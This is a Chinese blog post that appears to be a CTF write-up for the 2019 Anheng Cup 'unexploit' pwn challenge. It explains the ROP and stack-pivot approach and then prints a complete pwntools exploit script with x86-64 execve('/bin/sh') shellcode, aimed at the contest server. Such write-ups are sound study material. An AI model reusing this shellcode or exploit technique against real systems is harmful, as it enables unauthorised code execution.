avatar

CTF-安恒杯-19年7月赛

Pwn

0x01 unexploit

发现溢出很少,只能通过ROP,反复跳回read

read读入的位置由ebp决定,然后不断栈迁移,最后因为程序没有开启nx,所以用shellcode拿到shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#!/usr/bin/python2.7  
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = "debug"
context.arch = "amd64"
elf = ELF("unexploit")
sh = 0
lib = 0
def pwn(ip,port,debug):
global sh
global lib
if(debug == 1):
sh = process("./unexploit")
else:
sh = remote(ip,port)
offset = 8
payload = offset * 'a'
payload += p64(elf.bss() - 0x8)
payload += p64(0x40068A)
sh.send(payload)
offset = 8
payload = offset * "a"
payload += p64(elf.bss() + 0x8)
payload += p64(0x40068A)
payload += 'a' * 8
sleep(0.1)
sh.send(payload)
pop_rdi_ret = 0x400713
payload = p64(0x601058)
payload += "\x48\x31\xf6\x56\x48\xbf"
payload +="\x2f\x62\x69\x6e\x2f"
payload += "\x2f\x73\x68\x57\x54"
payload += "\x5f\xb0\x3b\x99\x0f\x05"
sleep(0.1)
sh.send(payload)
sh.interactive()
if __name__ == "__main__":
pwn("101.71.29.5",10002,0)
文章作者: 咲夜南梦
文章链接: http://yoursite.com/2019/07/15/CTF-%E5%AE%89%E6%81%92%E6%9D%AF-19%E5%B9%B47%E6%9C%88%E8%B5%9B/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 咲夜南梦's 博客
打赏
  • 微信
    微信
  • 支付宝
    支付宝

评论